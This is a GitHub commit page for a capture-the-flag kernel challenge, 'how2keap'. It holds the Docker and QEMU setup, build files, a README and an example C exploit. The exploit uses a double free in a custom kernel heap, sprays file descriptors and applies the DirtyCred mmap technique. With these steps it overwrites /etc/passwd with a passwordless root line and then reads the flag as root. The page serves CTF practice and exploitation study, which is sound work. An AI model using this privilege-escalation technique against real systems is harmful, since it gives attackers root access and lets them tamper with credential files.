-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 87dc5d2
Showing
26 changed files
with
1,119 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
pwn.c | ||
rootfs.cpio | ||
rootfs | ||
share/rootfs.cpio.gz | ||
share/bzImage |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
FROM debian:buster | ||
|
||
RUN apt-get update && apt-get install -y --no-install-recommends \ | ||
qemu-system-x86 socat \ | ||
&& rm -rf /var/lib/apt/lists/ | ||
|
||
RUN useradd --create-home --shell /bin/bash keap | ||
WORKDIR /home/keap | ||
|
||
COPY deploy/run.sh share/bzImage share/rootfs.cpio.gz /home/keap/ | ||
|
||
RUN chmod 555 /home/keap && \ | ||
chown -R root:root /home/keap/ && \ | ||
chmod 000 /home/keap/* && \ | ||
chmod 555 /home/keap/run.sh && \ | ||
chmod 444 /home/keap/bzImage && \ | ||
chmod 444 /home/keap/rootfs.cpio.gz | ||
|
||
EXPOSE 1337 | ||
|
||
USER keap | ||
RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)' | ||
|
||
USER keap | ||
|
||
CMD socat -T 300 \ | ||
TCP-LISTEN:1337,nodelay,reuseaddr,fork \ | ||
EXEC:"stdbuf -i0 -o0 -e0 /home/keap/run.sh",stderr,user=keap,group=keap | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
AUTHOR = "\x06\xfe\x1b\xe2" | ||
NAME = pwn | ||
|
||
CC = cc | ||
CFLAGS = -static -Os -DGNU_SOURCE | ||
CLIBS = -pthread | ||
CFLAGS += $(CLIBS) | ||
debug: CFLAGS += -DDEBUG | ||
|
||
all: $(NAME) | ||
|
||
$(NAME): $(NAME).o util.o keap.o | ||
$(CC) $(CFLAGS) $(NAME).o util.o keap.o -o ./$(NAME) | ||
|
||
$(NAME).o: $(NAME).c | ||
$(CC) $(CFLAGS) -c $(NAME).c | ||
|
||
util.o: ./libs/util.c | ||
$(CC) $(CFLAGS) -c libs/util.c | ||
|
||
keap.o: ./libs/keap.c | ||
$(CC) $(CFLAGS) -c libs/keap.c | ||
|
||
clean: | ||
rm -f *.o $(NAME) ./rootfs/$(NAME) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
# how2keap | ||
|
||
``` | ||
#################################################### | ||
# # | ||
# Tired of bloated heap implementations? # | ||
# __ # | ||
# | | __ ____ _____ ______ # | ||
# | |/ // __ \\__ \ \____ \ # | ||
# | <\ ___/ / __ \| |_> > # | ||
# use |__|_ \\___ >____ / __/ # | ||
# \/ \/ \/|__| # | ||
# # | ||
#################################################### | ||
``` | ||
|
||
flag is in /dev/sda | ||
|
||
modify ./rootfs/init to improve debugging | ||
|
||
## run examples | ||
just replace pwn.c with the example you want to run (i.e. dirty\_cred.c) | ||
|
||
## helper scripts: | ||
|
||
+ scripts/decompress.sh | ||
run this to extract the rootfs.cpio.gz into ./rootfs | ||
|
||
+ scripts/compress.sh | ||
recompress ./rootfs into rootfs.cpio.gz (i.e. after changes were made) | ||
|
||
+ scripts/build.sh | ||
build the exploit (pwn.c), and add it to the root of the filesystem /pwn, | ||
if changes were made (autorun in start-qemu.sh and run-gdb.sh) | ||
|
||
+ scripts/start-qemu.sh | ||
start qemu vm | ||
|
||
+ scripts/run-gdb.sh | ||
run qemu and attach gdb to it (expects to be run in tmux session), | ||
uses scripts/gdbinit | ||
|
||
## helpful links | ||
+ bootlin: https://elixir.bootlin.com/linux/v6.6.22/source |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
#!/bin/sh | ||
|
||
FLAG_FILE=$(mktemp) | ||
|
||
printenv FLAG > $FLAG_FILE | ||
|
||
exec qemu-system-x86_64 \ | ||
-kernel /home/keap/bzImage \ | ||
-cpu kvm64,+smap,+smep \ | ||
-m 1G \ | ||
-initrd /home/keap/rootfs.cpio.gz \ | ||
-hda $FLAG_FILE \ | ||
-append "rootwait root=/dev/vda console=tty1 console=ttyS0" \ | ||
-monitor /dev/null \ | ||
-nographic \ | ||
-no-reboot |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,122 @@ | ||
#include <unistd.h> | ||
#include "libs/pwn.h" | ||
|
||
#define FS_CONTEXT_SIZE 256 | ||
#define NUM_SPRAY_FDS 0x300 | ||
|
||
/* | ||
* inspired by https://chovid99.github.io/posts/hitcon-ctf-2023/ | ||
*/ | ||
|
||
int main(void) | ||
{ | ||
|
||
int tmp_a; | ||
int freed_fd = -1; | ||
void* keap_ptr; | ||
char buf[FS_CONTEXT_SIZE]; | ||
bzero(buf, sizeof(buf)); | ||
|
||
puts("[+] Initial setup"); | ||
|
||
rlimit_increase(RLIMIT_NOFILE); | ||
|
||
// Pin CPU | ||
pin_cpu(0, 0); | ||
|
||
init(); | ||
|
||
// create target file | ||
tmp_a = SYSCHK(open("/tmp/a", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)); | ||
SYSCHK(close(tmp_a)); | ||
|
||
puts("[+] create and free heap allocation for double free later"); | ||
keap_ptr = keap_malloc(FS_CONTEXT_SIZE, GFP_KERNEL_ACCOUNT); | ||
|
||
keap_free(keap_ptr); | ||
// spray | ||
|
||
/******************************* | ||
* DIRTY CRED * | ||
*******************************/ | ||
|
||
puts("======================="); | ||
puts("[+] Start the main exploit"); | ||
|
||
puts("[+] Spray FDs"); | ||
int spray_fds[NUM_SPRAY_FDS]; | ||
for(int i =0;i<NUM_SPRAY_FDS;i++){ | ||
spray_fds[i] = open("/tmp/a", O_RDWR); // /tmp/a is a writable file | ||
if (spray_fds[i] == -1) { | ||
puts("Failed to open FDs"); | ||
return EXIT_FAILURE; | ||
} | ||
} | ||
|
||
puts("[+] Free one of the FDs via double free keap"); | ||
keap_read(buf, keap_ptr, FS_CONTEXT_SIZE); | ||
#ifdef DEBUG | ||
print_hex(buf, FS_CONTEXT_SIZE); | ||
#endif | ||
keap_free(keap_ptr); | ||
// After: 1 fd but pointed chunk is free | ||
|
||
// Spray to replace the previously freed chunk | ||
// Set the lseek to 0x8, so that we can find easily the fd | ||
puts("[+] Find the freed FD using lseek"); | ||
int spray_fds_2[NUM_SPRAY_FDS]; | ||
for (int i = 0; i < NUM_SPRAY_FDS; i++) { | ||
spray_fds_2[i] = open("/tmp/a", O_RDWR); | ||
lseek(spray_fds_2[i], 0x8, SEEK_SET); | ||
} | ||
// After: 2 fd 1 refcount (Because new file) | ||
|
||
// The freed fd will have lseek value set to 0x8. Try to find it. | ||
for (int i = 0; i < NUM_SPRAY_FDS; i++) { | ||
if (lseek(spray_fds[i], 0 ,SEEK_CUR) == 8) { | ||
freed_fd = spray_fds[i]; | ||
lseek(freed_fd, 0x0, SEEK_SET); | ||
printf("[+] Found freed fd: %d\n", freed_fd); | ||
break; | ||
} | ||
} | ||
|
||
keap_read(buf, keap_ptr, FS_CONTEXT_SIZE); | ||
#ifdef DEBUG | ||
print_hex(buf, FS_CONTEXT_SIZE); | ||
#endif | ||
|
||
if (freed_fd == -1) { | ||
puts("Failed to find FD"); | ||
return EXIT_FAILURE; | ||
} | ||
|
||
// mmap trick instead of race with write | ||
puts("[+] DirtyCred via mmap"); | ||
char *file_mmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0); | ||
// After: 3 fd 2 refcount (Because new file) | ||
|
||
close(freed_fd); | ||
// After: 2 fd 1 refcount (Because new file) | ||
|
||
for (int i = 0; i < NUM_SPRAY_FDS; i++) { | ||
close(spray_fds_2[i]); | ||
} | ||
// After: 1 fd 0 refcount (Because new file) | ||
// Effect: FD in mmap (which is writeable) can be replaced with RDONLY file | ||
|
||
for (int i = 0; i < NUM_SPRAY_FDS; i++) { | ||
spray_fds[i] = open("/etc/passwd", O_RDONLY); | ||
} | ||
// After: 2 fd 1 refcount (but writeable due to mmap) | ||
keap_read(buf, keap_ptr, FS_CONTEXT_SIZE); | ||
#ifdef DEBUG | ||
print_hex(buf, FS_CONTEXT_SIZE); | ||
#endif | ||
|
||
strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n"); | ||
puts("[+] Finished! Reading Flag"); | ||
puts("======================="); | ||
system("su -c 'cat /dev/sda'"); | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
version: "3" | ||
services: | ||
keap: | ||
build: . | ||
ports: | ||
- "28338:1337" | ||
expose: | ||
- "28338" | ||
environment: | ||
FLAG: keap{REDACTED} |
Oops, something went wrong.